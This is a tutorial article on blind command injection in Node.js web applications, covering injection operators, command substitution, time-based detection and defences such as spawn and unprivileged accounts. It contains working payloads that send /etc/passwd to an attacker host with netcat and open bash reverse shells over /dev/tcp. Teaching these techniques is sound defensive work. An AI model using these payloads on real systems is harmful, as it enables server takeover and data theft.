Blind Command Injection


Simply put, executing a command injection attack means running a system command through an exploitable application, such as a web application. What differentiates a blind command injection vulnerability from a normal command injection vulnerability is that you will not see the output of the executed command in the server’s response.

Finding a Vulnerability

Let’s say there’s a Node.js website with a command injection vulnerability. The vulnerability can be exploited when unsanitized user input is sent to a function that executes system commands. In Node.js, one such function is exec.

This can occur in various situations. Here are some examples:

  • File uploading functionality uses the shell to invoke an external tool. The external tool is needed to process or edit the image.
  • A web application has pinging or networking tool functionality. This functionality is implemented by running an operating system tool (such as ping or traceroute) using a shell command.

A command injection vulnerability is exploited by adding (injecting) a command. In addition to parsing and running the command the programmer intended to run, the shell also parses the attacker’s malicious input and is tricked into also running the attacker’s injected command. There are two main ways to accomplish this in a Linux environment:

  1. Using an operator, for example a semicolon (;), to execute commands in succession
  2. Using a command substitution ($()) to insert a command

Executing Commands in Succession

Using an operator to string multiple system commands together is the most well-known method to achieve command injection. Let’s examine a very simplistic program that pings a user-supplied IP address. The following is its pseudocode implementation:

inputIPAddress = "8.8.8.8";
executeShellCommand("ping " + inputIPAddress);

The shell would receive the input ping 8.8.8.8, and it would ping the IP address 8.8.8.8.

However, what if inputIPAddress was something else, like 8.8.8.8; touch /tmp/hackerman_was_here? In that case, the shell would receive the following input:

ping 8.8.8.8; touch /tmp/hackerman_was_here

Because ; is a symbol for separating commands, the shell would execute two separate commands in succession:

ping 8.8.8.8
touch /tmp/hackerman_was_here

As a result, the file /tmp/hackerman_was_here would be created. This is a fairly benign example, but using the same technique, an attacker could steal confidential information, or create a backdoor into the server.

Making the Exploit More Reliable

There are a few details to be aware of when using the above method. Most importantly, an attacker needs to make sure they don’t accidentally produce a syntax error. Building upon the previous example, what if the program has some additional flags for handling timeouts at the end of the shell command?

inputIPAddress = "8.8.8.8; touch /tmp/hackerman_was_here";
executeShellCommand("ping " + inputIPAddress + " -c 4 -W 5");

In that case, if the attacker uses the same payload, then two commands will be executed:

ping 8.8.8.8
touch /tmp/hackerman_was_here -c 4 -W 5

touch /tmp/hackerman_was_here -c 4 -W 5 is an invalid command, because the touch command doesn’t recognize the -W flag.

However, the fix for this is simple. All the attacker has to do is add a comment (#) to the injection. In that case, the payload is:

;touch /tmp/hackerman_was_here #

And two commands will be executed:

ping 8.8.8.8
touch /tmp/hackerman_was_here # -c 4 -W 5

The interpreter ignores comments, so the -c 4 -W 5 will be ignored:

ping 8.8.8.8
touch /tmp/hackerman_was_here 

The takeaway is that if you use this method to exploit a command injection vulnerability, then you should add a comment to the end of the payload. That way, you can avoid syntax errors.

Command Substitution

A less common, but often more reliable method you can use to exploit a command injection vulnerability is command substitution. Command substitution is a feature of the shell language that allows you to execute a command and have the output of that command replace (substitute) text in another command. An example should make this concept easy to understand:

# Normal command example:
whoami
# Result:
exampleuser

# Command substitution example:
echo "Hello, user! Your username is $(whoami)."
# Result:
Hello, user! Your username is exampleuser.

As you can see in the command substitution example, the whoami command was executed, and the result was substituted into the main command.

Command substitutions are extremely convenient for exploitation because they are run before the main command. This means that by the time a syntax error occurs in the main command, your injected command has already completed running. Thus, usually you don’t have to worry about syntax errors when using this method.

As an example, let’s say an attacker is facing the same application:

executeShellCommand("ping " + inputIPAddress + " -c 4 -W 5");

If an attacker submits the payload $(touch /tmp/hackerman), then the following will be executed:

ping $(touch /tmp/hackerman) -c 4 -W 5

The file /tmp/hackerman will be created. The touch command doesn’t give any output, so the main command that will be executed will be ping -c 4 -W 5. The main command will result in a syntax error, but the attacker has already achieved their goal. As a sidenote, if the attacker wishes to avoid a syntax error, then the following payloads would work:

8.8.8.8 $(touch /tmp/hackerman)
$(echo 8.8.8.8 && touch /tmp/hackerman)

After the command substitution, both of the above payloads would result in the following main command being run:

ping 8.8.8.8 -c 4 -W 5

Identifying a Blind Command Injection Vulnerability

As mentioned in the beginning of this article, a blind command injection vulnerability doesn’t display the output of the injected command to the attacker. In that case, how is it possible to determine whether a vulnerability exists?

The easiest method of identification is to cause the application to pause for a few seconds. If the attacker can use the command injection vulnerability to make a vulnerable application run the command sleep 5, then the HTTP response will take 5 seconds longer than normally. This delay is easily noticeable, and is a very obvious clue that the application is vulnerable.

Therefore, to identify the vulnerability, you can use the payload $(sleep 5). You should paste that payload into inputs (form fields, query parameters, etc.) on the web page. If the response takes 5 seconds longer than usual, then the website is vulnerable.

Taking It One Step Durther

Once you have identified the vulnerability, you can leverage it to take over the server or steal confidential data.

Proof of Concept

You can craft a simple proof-of-concept exploit to prove that data can be exfiltrated from the vulnerable server. Most Linux machines have networking tools installed, such as netcat, curl and wget. You can use one of these tools to send data from the victim machine into your own machine.

As an example, you can use the command injection vulnerability to find out the contents of the server’s /etc/passwd file. Set up a netcat listener on your own machine, for example on port 8000:

nc -lvp 8000

Netcat flags:

  • -l: Listen for incoming connections
  • -p 8000: Use port 8000
  • -v: Verbose mode

The following command can be used to send a file using netcat:

nc ATTACKER_IP PORT < /path/to/file

If the attacker’s IP address is 1.2.3.4, and the attacker is listening on port 8000, then the following injection can be used to send the contents of /etc/passwd to the attacker:

$(nc 1.2.3.4 8000 < /etc/passwd)

Reverse Shell

Taking the exploitation a step further, the attacker may wish to leverage the command injection vulnerability to gain an interactive shell. To create a reverse shell, you once again must have a listener on the attacker’s machine:

nc -lvp 8000

There are many payloads you can use with the command injection to create a reverse shell. One of the most common ones is the following:

/bin/bash -i >& /dev/tcp/ATTACKERS_IP/ATTACKERS_PORT 0>&1

If the attacker’s IP address is 1.2.3.4, and the listener is running on port 8000, then the command injection to trigger the reverse shell would be:

$(/bin/bash -i >& /dev/tcp/1.2.3.4/8000 0>&1)

Sometimes the application’s shell is dash instead of bash. In that case, the above injection won’t work. However, it’s trivially easy to get it working. All you have to do is invoke the bash interpreter:

$(bash -c "/bin/bash -i >& /dev/tcp/1.2.3.4/8000 0>&1")

Protecting Against Command Injection

There are numerous things to consider when evaluating how to prevent command injection. Mainly, stay clear of system commands — and if you can’t avoid them, use a secure function to run them.

Don’t Run System Commands

Oftentimes, the most ideal method to prevent command injection is not to run system commands at all. If possible, you should use libraries in your programming language to meet your needs, instead of invoking external tools using system commands. Before using using a system command you should really consider whether that’s the best way to achieve your goal.

Use a Secure Function

If you must use a system tools, then do so by calling a secure function. The functions spawn and execFile are not executed under a shell environment and do not manipulate the originally intended command to run. They take additional command arguments as an array, like this:

const { spawn } = require('child_process');
const cmd = spawn('echo', ['hi', '$USER', ';touch /tmp/hack', '$(cat /etc/passwd)']);

cmd.stdout.on('data', (data) => {
  console.log(`stdout: ${data}`);
});

The output of the above code snippet is:

hi $USER ;touch /tmp/hack $(cat /etc/passwd)

As you can see, the input contained three parsable, potentially malicious, arguments: $USER, ;touch /tmp/hack and $(cat /etc/passwd). However, none of them were executed. They were not parsed as part of the command, and were instead safely and harmlessly passed as arguments to the echo command.

If you do use system commands, then use functions, such as spawn, which allow you to specify which part of the input is the command and which part is just an argument.

Assign a Separate User to Applications

It’s worth mentioning that command injection vulnerabilities are one of many reasons why your applications should not use the root account. Instead, web applications should run using the permissions of a separate, unprivileged user account. The user account should be used exclusively for running the web application.

That way, even if an attacker can run shell commands, the damage they can do is minimized.

Conclusion

Command injection is an incredibly dangerous vulnerability. Even if the attacker is unable to view the server’s response, as is the case with blind command injection, it does not stop them much.

Nonetheless, it is fairly easy to avoid. By sanitizing user input and minimizing the use of shell commands, you can prevent your servers from being hacked.

Heino Sass Hallik